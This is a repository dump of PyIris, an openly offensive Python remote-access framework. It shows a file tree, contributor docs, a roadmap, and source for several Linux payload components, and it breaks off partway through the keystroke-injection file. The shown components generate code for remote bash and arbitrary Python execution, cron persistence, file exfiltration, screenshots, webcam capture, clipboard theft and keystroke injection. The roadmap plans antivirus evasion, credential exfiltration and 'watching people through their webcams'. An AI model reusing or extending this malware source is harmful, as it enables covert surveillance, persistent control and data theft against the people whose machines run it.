├── .gitignore ├── CHANGE_LOG.md ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── ISSUE_TEMPLATE.md ├── LICENSE.md ├── PyIris.py ├── README.md ├── ROADMAP.md ├── components ├── __init__.py ├── linux │ ├── __init__.py │ ├── bases │ │ ├── __init__.py │ │ ├── bind_tcp_base.py │ │ └── reverse_tcp_base.py │ ├── control │ │ ├── __init__.py │ │ ├── active_windows_dump.py │ │ ├── check_admin.py │ │ ├── clip_logger.py │ │ ├── cron_job_persistence.py │ │ ├── download_file.py │ │ ├── download_web.py │ │ ├── execute_command_bash.py │ │ ├── execute_python.py │ │ ├── in_memory_screenshot.py │ │ ├── in_memory_webcam.py │ │ ├── inject_keystrokes.py │ │ ├── key_and_window_logger.py │ │ ├── set_audio.py │ │ ├── system_info_grabber.py │ │ ├── upload_file.py │ │ └── webcam_stream.py │ └── startup │ │ ├── __init__.py │ │ ├── cron_job_persistence.py │ │ ├── req_root.py │ │ ├── self_delete.py │ │ └── sleep.py └── windows │ ├── __init__.py │ ├── bases │ ├── __init__.py │ ├── bind_tcp_base.py │ └── reverse_tcp_base.py │ ├── control │ ├── __init__.py │ ├── active_windows_dump.py │ ├── browser.py │ ├── check_admin.py │ ├── chrome_password_dump.py │ ├── clip_logger.py │ ├── download_file.py │ ├── download_web.py │ ├── execute_command_cmd.py │ ├── execute_command_powershell.py │ ├── execute_file.py │ ├── execute_python.py │ ├── get_idle.py │ ├── in_memory_screenshot.py │ ├── in_memory_webcam.py │ ├── inject_keystrokes.py │ ├── interface_lock.py │ ├── key_and_window_logger.py │ ├── registry_persistence.py │ ├── sdclt_uac_bypass.py │ ├── set_audio.py │ ├── startup_folder_persistence.py │ ├── system_info_grabber.py │ ├── system_status_change.py │ ├── upload_file.py │ ├── wallpaper_changer.py │ └── webcam_stream.py │ └── startup │ ├── __init__.py │ ├── registry_persistence.py │ ├── request_admin.py │ ├── self_delete.py │ ├── sleep.py │ └── startup_folder_persistence.py ├── encoders ├── __init__.py ├── aes_stream_encoder.py ├── basic_base64_encoder.py └── xor_cipher_encryption.py ├── library ├── __init__.py ├── commands │ ├── __init__.py │ ├── direct_interface │ │ ├── __init__.py │ │ ├── download.py │ │ ├── flush.py │ │ ├── ping.py │ │ ├── python_execute_editor.py │ │ ├── python_execute_file.py │ │ ├── screen.py │ │ ├── upload.py │ │ ├── webcam.py │ │ └── webcam_stream.py │ ├── generator_interface │ │ ├── __init__.py │ │ ├── generate.py │ │ ├── load_com.py │ │ ├── load_enc.py │ │ ├── more_com.py │ │ ├── more_enc.py │ │ ├── reset.py │ │ ├── set.py │ │ ├── show.py │ │ ├── unload_com.py │ │ └── unload_enc.py │ ├── global_interface │ │ ├── __init__.py │ │ ├── clear.py │ │ ├── help.py │ │ ├── local.py │ │ ├── python.py │ │ └── quit.py │ ├── home_interface │ │ ├── __init__.py │ │ ├── add.py │ │ ├── regen.py │ │ ├── reset.py │ │ ├── rm.py │ │ └── show.py │ ├── listener_interface │ │ ├── __init__.py │ │ ├── kill.py │ │ ├── more.py │ │ ├── rename.py │ │ ├── reset.py │ │ ├── run.py │ │ ├── set.py │ │ └── show.py │ └── scout_interface │ │ ├── __init__.py │ │ ├── disconnect.py │ │ ├── kill.py │ │ ├── more.py │ │ ├── ping.py │ │ ├── rename.py │ │ ├── show.py │ │ └── sleep.py ├── interfaces │ ├── __init__.py │ ├── direct_interface.py │ ├── generator_interface.py │ ├── home_interface.py │ ├── listener_interface.py │ └── scout_interface.py └── modules │ ├── __init__.py │ ├── bootstrap.py │ ├── clean_import_data.py │ ├── compiler.py │ ├── config.py │ ├── dynamic_help_generator.py │ ├── generator_append.py │ ├── generator_id_parser.py │ ├── get_all_modules.py │ ├── get_private_ip.py │ ├── key_from_val.py │ ├── keygen.py │ ├── recv_all.py │ ├── return_random_string.py │ ├── safe_open.py │ ├── send_all.py │ ├── send_and_recv.py │ ├── should_listener_die.py │ ├── socket_connector.py │ ├── socket_listener.py │ └── sort_dictionary_by_int_val.py ├── resources └── windows_service.ico └── setup ├── linux └── requirements.txt └── windows └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | /.idea/ 2 | /resources/PyIris.cred 3 | /generated/ 4 | *.pyc 5 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. 6 | 7 | ## Our Standards 8 | 9 | Examples of behavior that contributes to creating a positive environment include: 10 | 11 | * Using welcoming and inclusive language 12 | * Being respectful of differing viewpoints and experiences 13 | * Gracefully accepting constructive criticism 14 | * Focusing on what is best for the community 15 | * Showing empathy towards other community members 16 | 17 | Examples of unacceptable behavior by participants include: 18 | 19 | * The use of sexualized language or imagery and unwelcome sexual attention or advances 20 | * Trolling, insulting/derogatory comments, and personal or political attacks 21 | * Public or private harassment 22 | * Publishing others' private information, such as a physical or electronic address, without explicit permission 23 | * Other conduct which could reasonably be considered inappropriate in a professional setting 24 | 25 | ## Our Responsibilities 26 | 27 | Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. 28 | 29 | Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. 30 | 31 | ## Scope 32 | 33 | This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. 34 | 35 | ## Enforcement 36 | 37 | Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at 1010angusx@gmail.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. 38 | 39 | Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. 40 | 41 | ## Attribution 42 | 43 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] 44 | 45 | [homepage]: http://contributor-covenant.org 46 | [version]: http://contributor-covenant.org/version/1/4/ 47 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing 2 | When contributing to this repository, please first discuss the change you wish to make via Github issues, email, or any other method with me before making a change. 3 | You can contact me at 1010angusx@gmail.com or just make an issue whichever you want :) 4 | 5 | # Contributions that I am currently accepting now 6 | - Any addition or modification to the windows or linux control or startup components 7 | - Any bug fixes with any libraries or modules present in the project 8 | - Any cross platform scout payload encoders, base64, AES and XOR are already included, feel free to add more encoders I'm not too familiar with cryptography of payloads 9 | - In the CHANGE_LOG.md file, log entry 0.7.2 is a yearly roadmap. None of the things there have been completed yet feel free to assist and work on any of those 10 | 11 | # What to do after making changes in the code (Not necessary but at least tell me if you did this or not, if not tell me what changes you made) 12 | - Open the source code of PyIris.py and increment the commented out version number accordingly based on [semantic versioning](https://semver.org/) (I kinda broke mine but Ill be reverting back to the orginial rules of semantic versioning soon after all the minor changes) 13 | - Open the CHANGE_LOG.md file and input in whatever changes you made underneath an H1 header with the current version number. (Give a brief description, details and precise changes not needed) 14 | - If your new component or change requires a third party library navigate to either setup/windows/requirements.txt or setup/linux/requirements.txt (depending on OS unless its cross platform) and add the new module with the exact version number 15 | - Clear all python compiled files (.pyc), cred file (PyIris.cred) and generated payloads (/generated) 16 | - Write in PEP8 pls 17 | - Your done and now can push 18 | 19 | 20 | Legit all you have to do is just message me and tell me if you wanna add something cool here. Im fine with anything really as long as it 21 | doesn't make major changes to the project 22 | -------------------------------------------------------------------------------- /ISSUE_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | # How and when to create an issue 2 | 3 | ## Step 1 : Environment information where PyIris was run 4 | - Exact OS Version 5 | - PyIris Version 6 | - Python Version 7 | 8 | ## Step 2 : What was done before the error 9 | - What commands were ran before the error 10 | - What was the state of the framework before the error (eg. How many listeners active, how many scouts connected, etc.) 11 | - Programs running while PyIris was running 12 | - What was modified in the framework files (If any were modified) 13 | 14 | ## Step 3 : Evidence and description 15 | - Description of the error 16 | - Screenshot of the error 17 | - Raw text of the error 18 | - Videos or gifs 19 | 20 | ## Step 4 : Miscellaneous information 21 | - Any miscellaneous information you would like to provide, the more data provided the better 22 | 23 | # Note : Do not create an issue if you cannot reproduce the bug, I need to be able to reproduce the bug in order to fix it 24 | -------------------------------------------------------------------------------- /PyIris.py: -------------------------------------------------------------------------------- 1 | # Version 1.1.6 2 | import library.modules.bootstrap as bootstrap 3 | import time 4 | import logging 5 | 6 | if __name__ == '__main__': 7 | try: 8 | start = bootstrap.main() 9 | if start: 10 | import library.interfaces.home_interface as home_interface 11 | import library.commands.global_interface.clear as clear 12 | 13 | clear.main() 14 | home_interface.main() 15 | except EOFError: 16 | try: 17 | time.sleep(2) 18 | except KeyboardInterrupt: 19 | print('[!]User aborted bootstrap, requesting shutdown...') 20 | quit() 21 | except KeyboardInterrupt: 22 | print('[!]User aborted bootstrap, requesting shutdown...') 23 | quit() 24 | except Exception as e: 25 | logging.critical("Critical Error occurred please inform developer, dumping stack trace and exiting...", exc_info=True) 26 | -------------------------------------------------------------------------------- /ROADMAP.md: -------------------------------------------------------------------------------- 1 | # The Future of PyIris 2 | A short collection of ideas and concepts I have planned for PyIris in the future upcoming updates. I'm pretty busy with life so theres no 3 | set date on when these goals will be fulfilled, could be finished in a duration of weeks to years. 4 | 5 | ## 2021 update (Non backward compatible essentially a major update to the entire system) [Added 9/6/2021] 6 | So I havent worked on this project in a while mainly due to school and life stuff so that kind of sucks. Im finishing my exams soon so I will very soon have time to work on the 7 | project. Ive decided to make a bunch of code changes with regards to the internal functioning of PyIris, ie with how the in memory database is managed, how listeners are set 8 | etc. I dont have much time to write this so here are a few new things I want to do with the project moving forward 9 | 10 | - Change the in memory database housing listeners from a dictionary based model to an object oriented model 11 | - Add more types of listeners and scout bases (Droppers!) to expand the communications channel (encryption is coming soon I promise + algorithmic key cycling maybe) 12 | - tweak a bit of how some of the components work (the exec_c, exec_p, exec_b commands for remote shell execution are VERY annoying to use especially when you want to quickly 13 | execute things or shift through the filesystem I will probably do what meterpreter does to save me the hassle 14 | - Update some components, some components like chrome password grabbing no longer work on updated systems 15 | - Expand component functionality. I want more options when it comes to doing stuff in general (ie file upload and download doesnt work with file directories they are limited to 16 | single files only. Or webcam streaming is trash since it works over TCP) 17 | - Expand AV evasion capabilities. Windows defender flags PyIris payloads as malicious (for some reason the sysinfo component triggers the AV. I may need to look into better AV 18 | evasion measures 19 | - Change how listeners are loaded (to be more similar to meterpreter for greater variability in listener types) and how scouts are generated (again more similar to meterpreter to 20 | allow for more variability) 21 | 22 | 23 | ## Short Term Goals 24 | - Port all the webcam based operations, over from using cv2 to just using PIL, because its stupid getting people to import a computer 25 | vision library for the sole purpose of watching people through their webcams [Added 4/26/2020] 26 | - Implement a webcam streaming feature (!!!). [Added 4/26/2020] :white_check_mark: [done 7/18/2020] 27 | - Fix some instability issues with the recv_all() network protocol. (rate limiting is not working) [Added 4/26/2020] :white_check_mark: [done 7/18/2020] 28 | - Possibly implement a screen recording function as well. [Added 4/26/2020] 29 | - Look into audio streaming/ recording if possible. [Added 4/26/2020] 30 | - Possibly get scouts to provide more data upon connecting back [Added 4/26/2020] 31 | 32 | 33 | ## Long Term Goals 34 | - Add communications encryption (Maybe AES, maybe RSA) encryption between scouts using the standard text data protocol [Added 4/26/2020] 35 | - Add support for more scout bases (An HTTP base maybe could be possible, Discord base, Telegram base, Twitter Base, Reddit. I even have 36 | an absurd idea for scout communication using roblox will look into and do more research about this) [Added 4/26/2020] 37 | - Continue to add more advanced features, I have a few more features I want to implement for the scouts relating to machine persistence, 38 | command and control functionality, credential exfiltration and even some social engineering elements. The ideas are vague so I need to 39 | sketch them out fully before moving them to short term. [Added 4/26/2020] 40 | ~~- Currently working on implementing a GUI/ web interface in collaboration with a close friend of mine (more like hes doing all the front 41 | end lol). Details are still hazy although the prototype is mostly finished I may need to ensure backend stability/ optimization before 42 | rolling out the release [Added 4/26/2020]~~ This is kinda screwed since im changing a whole bunch of stuff at once. I may or may not decide to add a GUI at this point I dont know. 43 | - Figure out how to dynamically load python modules. Not sure if this is possible at all. If so, it may completely change the entire 44 | course of this project. Will do more research and look into it. [Added 4/26/2020] update [9/6/2021] : distributed computing with rpyc might be the answer here 45 | -------------------------------------------------------------------------------- /components/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-sekiun/PyIris/a3716864778fd7b28a96fde50b1534fc0b50cd9f/components/__init__.py -------------------------------------------------------------------------------- /components/linux/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-sekiun/PyIris/a3716864778fd7b28a96fde50b1534fc0b50cd9f/components/linux/__init__.py -------------------------------------------------------------------------------- /components/linux/bases/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-sekiun/PyIris/a3716864778fd7b28a96fde50b1534fc0b50cd9f/components/linux/bases/__init__.py -------------------------------------------------------------------------------- /components/linux/control/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-sekiun/PyIris/a3716864778fd7b28a96fde50b1534fc0b50cd9f/components/linux/control/__init__.py -------------------------------------------------------------------------------- /components/linux/control/active_windows_dump.py: -------------------------------------------------------------------------------- 1 | import library.modules.config as config 2 | 3 | config.main() 4 | 5 | 6 | def main(option): 7 | if option == 'generate': 8 | config.import_statements.append('import Xlib') 9 | config.import_statements.append('import Xlib.display') 10 | config.functions.append(''' 11 | def active(): 12 | data = '[+]All opened windows : \\n' 13 | display = Xlib.display.Display() 14 | screen = display.screen() 15 | root = screen.root 16 | tree = root.query_tree() 17 | wins = tree.children 18 | tmp_list = [] 19 | for win in wins: 20 | if win.get_wm_name(): 21 | tmp_list.append(' - ' + win.get_wm_name()) 22 | tmp_list = list(set(tmp_list)) 23 | send_all(s,(data + '\\n'.join(tmp_list) + '\\n'))''') 24 | config.logics.append(''' 25 | elif command == "active": 26 | active()''') 27 | config.help_menu['active'] = 'Shows all open windows on the target system' 28 | elif option == 'info': 29 | print('\nName : Active Windows Dump component' \ 30 | '\nOS : Linux' \ 31 | '\nRequired Modules : python-xlib (external)' \ 32 | '\nCommands : active' \ 33 | '\nDescription : Shows all open windows on the target system\n') 34 | -------------------------------------------------------------------------------- /components/linux/control/check_admin.py: -------------------------------------------------------------------------------- 1 | import library.modules.config as config 2 | 3 | config.main() 4 | 5 | 6 | def main(option): 7 | if option == 'generate': 8 | config.import_statements.append('from os import getuid') 9 | config.functions.append(''' 10 | def admin(): 11 | send_all(s,'[*]Scout is running as root process : ' + str(getuid() == 0))''') 12 | config.logics.append(''' 13 | elif command == "admin": 14 | admin()''') 15 | config.help_menu['admin'] = 'Checks to see if the scout is running as a process with admin privileges' 16 | elif option == 'info': 17 | print('\nName : Check Admin component' \ 18 | '\nOS : Linux' \ 19 | '\nRequired Modules : os' \ 20 | '\nCommands : admin' \ 21 | '\nDescription : Checks to see if the scout is running as a process with admin privileges\n') 22 | -------------------------------------------------------------------------------- /components/linux/control/clip_logger.py: -------------------------------------------------------------------------------- 1 | import library.modules.config as config 2 | 3 | config.main() 4 | 5 | 6 | def main(option): 7 | if option == 'generate': 8 | config.import_statements.append('import pyperclip') 9 | config.functions.append(''' 10 | def clip_logger(option): 11 | flag = option.split(' ',1) 12 | if flag[0] == 'clip_dump': 13 | send_all(s,'[+]Got clipboard data : \\n' + pyperclip.paste()) 14 | elif flag[0] == 'clip_set': 15 | pyperclip.copy(flag[1]) 16 | send_all(s,'[+]Set clipboard text to : ' + flag[1]) 17 | elif flag[0] == 'clip_clear': 18 | pyperclip.copy('') 19 | send_all(s,'[+]Cleared clipboard')''') 20 | config.logics.append(''' 21 | elif command in ('clip_dump', 'clip_set', 'clip_clear'): 22 | clip_logger(data)''') 23 | config.help_menu['clip_dump'] = 'Display contents of clipboard on the target system' 24 | config.help_menu['clip_set '] = 'Set the value of the clipboard on the target system' 25 | config.help_menu['clip_clear'] = 'Clear the clipboard data on the target system' 26 | elif option == 'info': 27 | print('\nName : Clipboard logger component' \ 28 | '\nOS : Linux' \ 29 | '\nRequired Modules : pyperclip (External), xclip utility for Linux (Non python external dependency, target system needs to have this as well)' \ 30 | '\nCommands : clip_set , clip_dump, clip_clear' \ 31 | '\nDescription : Allows for control over the clipboard, set, read or clear the clipboard data\n') 32 | -------------------------------------------------------------------------------- /components/linux/control/cron_job_persistence.py: -------------------------------------------------------------------------------- 1 | import library.modules.config as config 2 | 3 | config.main() 4 | 5 | 6 | def main(option): 7 | if option == 'generate': 8 | config.import_statements.append('from crontab import CronTab') 9 | config.import_statements.append('from getpass import getuser') 10 | config.import_statements.append('from os import path, getcwd') 11 | config.import_statements.append('from sys import argv') 12 | config.functions.append(''' 13 | def cron_persist(): 14 | cron = CronTab(user=getuser()) 15 | if path.join(getcwd(),path.abspath(argv[0]))[-3:] == '.py': 16 | job = cron.new(command='python ' + path.join(getcwd(),path.abspath(argv[0]))) 17 | else: 18 | job = cron.new(command=path.join(getcwd(),path.abspath(argv[0]))) 19 | job.every_reboot() 20 | cron.write() 21 | send_all(s,'[+]Acheived persistence via cron job!') 22 | ''') 23 | config.logics.append(''' 24 | elif command == "cron_persist": 25 | cron_persist()''') 26 | config.help_menu['cron_persist'] = 'Create a cron job of the scout so it runs at startup' 27 | elif option == 'info': 28 | print('\nName : Cron job persistence component' \ 29 | '\nOS : Linux' \ 30 | '\nRequired Modules : python-crontab (External), getpass, os, sys' \ 31 | '\nCommands : cron_persist' \ 32 | '\nDescription : Create a cron job of the scout so it runs at startup\n') 33 | -------------------------------------------------------------------------------- /components/linux/control/download_file.py: -------------------------------------------------------------------------------- 1 | import library.modules.config as config 2 | 3 | config.main() 4 | 5 | 6 | def main(option): 7 | if option == 'generate': 8 | config.import_statements.append('from base64 import b64encode') 9 | config.functions.append(''' 10 | def download(data): 11 | filepath = data.split(' ',1)[1] 12 | with open(filepath,'rb') as f: 13 | file_data = f.read() 14 | send_all(s,filepath + ' ' + b64encode(file_data).decode())''') 15 | config.logics.append(''' 16 | elif command == "download": 17 | download(data)''') 18 | config.help_menu['download '] = 'Remotely download a file to local current working directory of PyIris' 19 | elif option == 'info': 20 | print('\nName : Download File component' \ 21 | '\nOS : Linux' \ 22 | '\nRequired Modules : base64' \ 23 | '\nCommands : download ' \ 24 | '\nDescription : Remotely download a file to local current working directory of PyIris, utilizes base64 to encode binary data\n') 25 | -------------------------------------------------------------------------------- /components/linux/control/download_web.py: -------------------------------------------------------------------------------- 1 | import library.modules.config as config 2 | 3 | config.main() 4 | 5 | 6 | def main(option): 7 | if option == 'generate': 8 | config.import_statements.append('from urllib.request import urlopen, unquote') 9 | config.functions.append(''' 10 | def download_web(command): 11 | url = command.split(' ')[1] 12 | file_name = command.split(' ')[2] 13 | response = urlopen(url) 14 | url_data = response.read() 15 | f = open(file_name, 'wb') 16 | f.write(url_data) 17 | f.close() 18 | send_all(s,'[+]Downloaded : ' + url + ' -> ' + file_name)''') 19 | config.logics.append(''' 20 | elif command == "download_web": 21 | download_web(data)''') 22 | config.help_menu['download_web '] = 'Allows you to download a file from a url supplied to a specified remote file path' 23 | elif option == 'info': 24 | print('\nName : Download web component' \ 25 | '\nOS : Linux' \ 26 | '\nRequired Modules : urllib' \ 27 | '\nCommands : download_web ' \ 28 | '\nDescription : Allows you to download a file from a url supplied\n') 29 | -------------------------------------------------------------------------------- /components/linux/control/execute_command_bash.py: -------------------------------------------------------------------------------- 1 | import library.modules.config as config 2 | 3 | config.main() 4 | 5 | 6 | def main(option): 7 | if option == 'generate': 8 | config.import_statements.append('from subprocess import Popen, PIPE') 9 | config.import_statements.append('from os import chdir') 10 | config.functions.append(''' 11 | def exec_b(execute): 12 | execute = execute.split(' ',1)[1] 13 | if execute[:3] == 'cd ': 14 | execute = execute.replace('cd ', '', 1) 15 | chdir(execute) 16 | send_all(s,"[+]Changed to directory : " + execute) 17 | else: 18 | result = Popen(execute, executable='/bin/bash', shell=True, stdout=PIPE, stderr=PIPE, 19 | stdin=PIPE) 20 | result = result.stdout.read() + result.stderr.read() 21 | send_all(s,'[+]Command output : \\n' + result.decode())''') 22 | config.logics.append(''' 23 | elif command == "exec_b": 24 | exec_b(data)''') 25 | config.help_menu[ 26 | 'exec_b '] = 'A remote shell command execution component of the scout, it allows the scout to remotely execute commands using bash shell' 27 | elif option == 'info': 28 | print('\nName : Execute command CMD component' \ 29 | '\nOS : Linux' \ 30 | '\nRequired Modules : subprocess' \ 31 | '\nCommands : exec_b ' \ 32 | '\nDescription : A remote shell command execution component of the scout, it allows the scout to remotely execute commands using bash\n') 33 | -------------------------------------------------------------------------------- /components/linux/control/execute_python.py: -------------------------------------------------------------------------------- 1 | import library.modules.config as config 2 | import time 3 | 4 | config.main() 5 | 6 | 7 | def main(option): 8 | if option == 'generate': 9 | config.import_statements.append('import sys') 10 | config.import_statements.append('from io import StringIO') 11 | print(config.war + 'Manual intervention required for python_execute component') 12 | while True: 13 | try: 14 | module_to_load = input('\x1b[1m\x1b[37m[\x1b[0m\033[92m' + 15 | '\x1b[1m\x1b[31mlinux/control/execute_python\x1b[0m' + 16 | '\x1b[1m\x1b[37m > ]\x1b[0m ' +'Input name of other library to package into python_execute [CTRL-C to quit] : ') 17 | if not module_to_load: 18 | print(config.neg + 'Input the name of a module') 19 | continue 20 | try: 21 | exec ('import ' + module_to_load) 22 | print(config.pos + 'Valid module, loaded on') 23 | config.import_statements.append('import ' + module_to_load) 24 | except ImportError: 25 | print(config.neg + 'Invalid module, not loaded on') 26 | except KeyboardInterrupt: 27 | print('\n' + config.pos + 'Done...') 28 | break 29 | config.functions.append(''' 30 | def exec_py(command): 31 | command = command.split(' ', 1)[1] 32 | old_stdout = sys.stdout 33 | result = StringIO() 34 | sys.stdout = result 35 | try: 36 | exec(command) 37 | except Exception as e: 38 | result.write(str(e) + '\\n') 39 | sys.stdout = old_stdout 40 | result_string = result.getvalue() 41 | send_all(s,'[*]Result of code : \\n\\n' + result_string) 42 | ''') 43 | config.logics.append(''' 44 | elif command == "exec_py": 45 | exec_py(data)''') 46 | config.help_menu['exec_py '] = 'Execute in-memory arbitrary python code on the target system' 47 | config.help_menu[ 48 | 'exec_py_script'] = 'Script in the terminal a block of in-memory arbitrary python code to execute on the target system' 49 | config.help_menu[ 50 | 'exec_py_file '] = 'Execute arbitrary python code from a file to execute on the target system in-memory' 51 | elif option == 'info': 52 | print('\nName : Execute python component' \ 53 | '\nOS : Linux' \ 54 | '\nRequired Modules : io, sys, ' \ 55 | '\nCommands : exec_py ' \ 56 | '\nDescription : Execute in-memory arbitrary python code on the target system (remote interpreter that does not require python to be installed!)\n') 57 | -------------------------------------------------------------------------------- /components/linux/control/in_memory_screenshot.py: -------------------------------------------------------------------------------- 1 | import library.modules.config as config 2 | 3 | config.main() 4 | 5 | 6 | def main(option): 7 | if option == 'generate': 8 | config.import_statements.append('import mss') 9 | config.import_statements.append('import mss.tools') 10 | config.functions.append(''' 11 | def screen(): 12 | with mss.mss() as sct: 13 | monitor = sct.monitors[1] 14 | im = sct.grab(monitor) 15 | raw_bytes = mss.tools.to_png(im.rgb, im.size) 16 | send_all(s,raw_bytes)''') 17 | config.logics.append(''' 18 | elif command == "screen": 19 | screen()''') 20 | config.help_menu['screen'] = 'Takes a screenshot and saves it to in memory file before sending the in memory file to PyIris to download' 21 | elif option == 'info': 22 | print('\nName : In-memory Screenshot component' \ 23 | '\nOS : Linux' \ 24 | '\nRequired Modules : mss (external), mss.tools (external)' \ 25 | '\nCommands : screen' \ 26 | '\nDescription : Takes a screenshot and saves it to in memory file before sending the in memory file to PyIris to download\n') 27 | -------------------------------------------------------------------------------- /components/linux/control/in_memory_webcam.py: -------------------------------------------------------------------------------- 1 | import library.modules.config as config 2 | 3 | config.main() 4 | 5 | 6 | def main(option): 7 | if option == 'generate': 8 | config.import_statements.append('import cv2') 9 | config.import_statements.append('from PIL import Image') 10 | config.import_statements.append('from io import BytesIO') 11 | config.import_statements.append('import pickle') 12 | config.functions.append(''' 13 | def webcam(): 14 | cam = cv2.VideoCapture(0) 15 | retval, im = cam.read() 16 | cam.release() 17 | cv2.destroyAllWindows() 18 | im = cv2.cvtColor(im, cv2.COLOR_BGR2RGB) 19 | return im''') 20 | config.logics.append(''' 21 | elif command == 'webcam': 22 | send_all(s,pickle.dumps(Image.fromarray(webcam())))''') 23 | config.help_menu[ 24 | 'webcam'] = 'Snaps a picture from the webcam and saves it as an in memory pickle before sending it to PyIris to decode and download' 25 | elif option == 'info': 26 | print('\nName : In-memory webcam component' \ 27 | '\nOS : Linux' \ 28 | '\nRequired Modules : PIL (external), cv2 (external), io, pickle' \ 29 | '\nCommands : webcam' \ 30 | '\nDescription : Snaps a picture from the webcam and saves it as an in memory pickle before sending it to PyIris to decode and download\n') 31 | -------------------------------------------------------------------------------- /components/linux/control/inject_keystrokes.py: -------------------------------------------------------------------------------- 1 | import library.modules.config as config 2 | 3 | config.main() 4 | 5 | 6 | def main(option): 7 | if option == 'generate': 8 | config.import_statements.append('import pyautogui') 9 | config.functions.append(''' 10 | def inject_keystokes(args): 11 | command = args.split(' ',1)[0] 12 | injecting = args.split(' ',1)[1] 13 | if command == "inj_t": 14 | pyautogui.typewrite(injecting) 15 | send_all(s,'[+]Injected keystrokes : ' + injecting) 16 | elif command == "inj_h": 17 | injecting = injecting.split(' ') 18 | for i in injecting: 19 | pyautogui.keyDown(i) 20 | for i in reversed(injecting): 21 | pyautogui.keyUp(i) 22 | send_all(s,'[+]Injected hotkeys : ' + ' '.join(injecting)) 23 | elif command == "inj_p": 24 | pyautogui.press(injecting) 25 | send_all(s,'[+]Injected button press : ' + injecting) 26 | ''') 27 | config.logics.append(''' 28 | elif command in ("inj_t","inj_h","inj_p"): 29 | inject_keystokes(data)''') 30 | config.help_menu['inj_t '] = 'Inject a string through keystrokes that mimic typing' 31 | config.help_menu[ 32 | 'inj_h '] = 'Inject a hotkey combination through keystrokes that mimic button presses' 33 | config.help_menu[ 34 | 'inj_p